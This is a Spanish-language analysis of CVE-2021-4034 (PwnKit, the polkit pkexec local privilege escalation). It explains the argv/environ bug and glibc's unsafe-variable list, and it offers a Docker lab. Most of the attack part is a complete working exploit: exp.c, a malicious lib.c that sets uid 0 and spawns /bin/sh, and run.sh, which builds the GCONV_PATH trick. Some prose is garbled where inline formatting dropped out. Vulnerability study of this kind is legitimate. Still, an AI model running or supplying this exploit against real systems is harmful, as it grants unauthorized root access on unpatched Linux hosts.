
Análisis detallado y exploit de prueba de concepto para CVE-2021-4034 (escalada de privilegios local de PolKit pkexec), incluido un entorno de laboratorio Docker para análisis práctico y depuración.
[toc]
Identificador de vulnerabilidad: CVE-2021-4034
Puntuación de la vulnerabilidad:
Producto afectado: linux PolKit (pkexec)
Alcance: Afecta versiones desde 2009 hasta la actual (0.105). Referencia: http://its.dlut.edu.cn/info/1054/78309.htm
Condiciones de explotación: linux local; pkexec es un archivo suid y tiene permisos de ejecución.
Obtención del código fuente: apt source policykit-1
o https://launchpad.net/ubuntu/bionic/+package/policykit-1
Entorno Docker: chenaotian/cve-2021-4034
Docker que construí yo mismo, que proporciona:
pkexec compilado por mí mismo con símbolos de depuración.Todo está en el directorio /root/:

su test y luego ejecutarlo.Iniciar Docker:
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
Probar el exploit:
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
El producto donde ocurre la vulnerabilidad es el comando pkexec de polkit. pkexec es similar a sudo; ambos permiten ejecutar comandos como otro usuario (generalmente root). Se puede verificar el paquete al que pertenece pkexec con el comando dpkg:
dpkg -S /usr/bin/pkexec

Luego se obtiene el paquete fuente (también está en mi Docker) y se compila una versión depurable para facilitar el análisis.
El principio de activación es muy simple.
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{
··· ···
··· ···
/* Esto significa: recorrer los parámetros de entrada del usuario y establecer valores según los diferentes parámetros ingresados.
* Pero el problema es que el inicio del bucle es 1, sin considerar el caso en que el usuario no ingresa ningún parámetro.
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
··· ···
else // si es un parámetro no reconocido, sale del bucle; esto significa que ese parámetro es el comando a ejecutar
{
break;
}
}
··· ···
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); // obtiene la cadena específica del comando a ejecutar
if (path == NULL)
{
···
}
if (path[0] != '/')
{
/* g_find_program_in_path() no es susceptible a ataques a través del entorno */
// Esta función busca la ruta absoluta del comando a ejecutar según la variable de entorno PATH
s = g_find_program_in_path (path);
if (s == NULL)
{
···
}
g_free (path);
argv[n] = path = s;// reescribe la ruta absoluta obtenida en el parámetro de línea de comandos
}
··· ···
··· ···
Según mi análisis en los comentarios del código:
pkexec debe ejecutar).--, lo considera el comando a ejecutar con pkexec y sale del bucle para continuar con la lógica posterior.g_find_program_in_path para buscar la ruta absoluta del comando. Esta función busca la ruta absoluta del argumento (comando) según la variable de entorno PATH. Por ejemplo, si se pasa cat, devuelve /bin/cat.Es bastante fácil de entender, pero el problema está en:
Cuando se ejecuta un binario en Linux, los argumentos de línea de comandos argv[] y las variables de entorno environ[] se colocan en la parte inferior de la pila, y argv[] y environ[] están contiguos. El último elemento de argv[] es null.

Si pkexec se inicia desde la línea de comandos sin ningún otro argumento, entonces argv[0] es "pkexec" y argv[1] es \x00, no hay problema. Pero si pkexec se inicia con la función execve sin ningún otro argumento, entonces es y apunta a la variable de entorno. ¡Cuando se lee , se y lee !
¿Qué impacto tiene esto? Cuando se inicia con execve sin ningún otro argumento, la longitud de argv[] es 0, por lo que argv[1] es environ[0]. La lógica analizada anteriormente se convierte en: obtener el valor de la primera variable de entorno, buscar su ruta absoluta desde la variable PATH. Si la encuentra, la reescribe en la primera variable de entorno. Entonces la forma de explotación es la siguiente:
Primero, hay que aclarar que pkexec es un archivo privilegiado (suid):

¿Cómo aprovechar las variables de entorno en un archivo privilegiado para causar problemas? Primero, hay que conocer un pequeño detalle:
El enlazador dinámico de Linux ld-linux-x86-64.so.2 limpia las variables de entorno sensibles cuando se ejecuta un programa privilegiado:
Función _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307
void
_dl_non_dynamic_init (void)
{
··· ···
··· ···
if (__libc_enable_secure) // en modo privilegiado
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
// recorre y limpia (unset) todas las variables de entorno de la lista de peligrosas
while (cp < unsecure_envvars + sizeof (unsecure_envvars))
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
··· ···
··· ···
}
La lista de variables de entorno peligrosas UNSECURE_ENVVARS se define así:
glibc-2.27/sysdeps/generic/unsecvars.h : 10
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"
Cuando se detecta que el programa es un archivo privilegiado (suid), se limpian estas variables de entorno. Como se puede ver, la gran mayoría son variables de la serie LD_, que tienen la capacidad de especificar la ruta de carga de bibliotecas dinámicas. Esto evita que los usuarios con bajos privilegios hagan que los programas suid carguen so no confiables a través de estas variables, lo que provocaría ejecución de código malicioso y elevación de privilegios.
En el escenario de esta vulnerabilidad, tenemos una oportunidad de escribir en cualquier variable de entorno. Nuestra idea de explotación es intentar encontrar algo en esas variables de entorno que originalmente no se pueden pasar a los programas suid.
Como ya se ha publicado un POC, es muy sencillo ver la respuesta directamente. Aquí se referencia el POC de arthepsy. El contenido es simple, pero a través de este POC sabemos que la variable de entorno clave es GCONV_PATH. Es uno de los elementos de la lista de variables de entorno peligrosas, ¡incluso el primero!
Sobre GCONV_PATH y la función iconv_open():
La función
iconv_open()solicita un descriptor de conversión, que transforma secuencias de caracteres de la codificaciónfromcodea la codificacióntcode. El descriptor de conversión contiene el estado de la conversión. La funcióniconv_open()primero busca el archivogconv-modulesproporcionado por el sistema, que contiene las rutas de almacenamiento de la información relacionada con cada conjunto de caracteres. La información de cada conjunto de caracteres se almacena en un archivo .so. Luego, según las indicaciones del archivogconv-modules, enlaza el archivo .so correspondiente al parámetro para realizar la operación específica. Si existe la variable de entornoGCONV_PATH, la funcióniconv_open()buscará el archivogconv-modulessegúnGCONV_PATH; el resto de la operación no cambia.
Es decir, la variable de entorno GCONV_PATH también tiene una función similar a LD_LIBRARY_PATH. Puede especificar el directorio donde la función iconv_open() busca los archivos so. Si podemos falsificar GCONV_PATH, luego falsificar gconv-modules, y finalmente falsificar un so, podemos realizar la carga de cualquier so y la ejecución de código arbitrario.
La idea general es la siguiente:
Crear un directorio llamado GCONV_PATH=.
Dentro del directorio GCONV_PATH=., crear un archivo llamado pwnkitdir con permisos de ejecución.
Crear un directorio llamado pwnkitdir.
Dentro del directorio pwnkit, crear el archivo gconv-modules y escribir el siguiente contenido según el formato:
module UTF-8// PWNKIT// pwnkit 1
Colocar el so malicioso pwnkit.so dentro del directorio pwnkit, que contiene el código para obtener una shell.
Establecer las variables de entorno correspondientes:
pwnkitdirPATH=GCONV_PATH=. De esta manera, la ruta combinada por la función g_find_program_in_path será , que tiene el formato correcto de variable de entorno. Además, el directorio existe y el archivo también existe.Y luego se logra. El exploit específico es el siguiente:
exp.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp); // Nota: la ruta debe modificarse según la situación real.
}
lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
Explotación exitosa:

Actualizar a la última versión.
Divulgación de la vulnerabilidad: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
POC de arthepsy: https://github.com/arthepsy/CVE-2021-4034
argv[0]\x00argv[1]argv[1]environ[0]Inicio directo desde línea de comandos de pkexec con argc = 1, argv[0] es la ruta de pkexec:

Inicio de pkexec con execve, argc = 0:

GCONV_PATH=./pwnkitdir./pwnkitdirGCONV_PATH=./pwnkitdirCHARSET=PWNKIT, que se usará en el camino antes de llegar a iconv_open, para buscar el so desde gconv-modules.SHELL=xxx, también se usa en el camino antes de llegar a iconv_open.Iniciar pkexec mediante execve sin argumentos, con las variables de entorno establecidas anteriormente.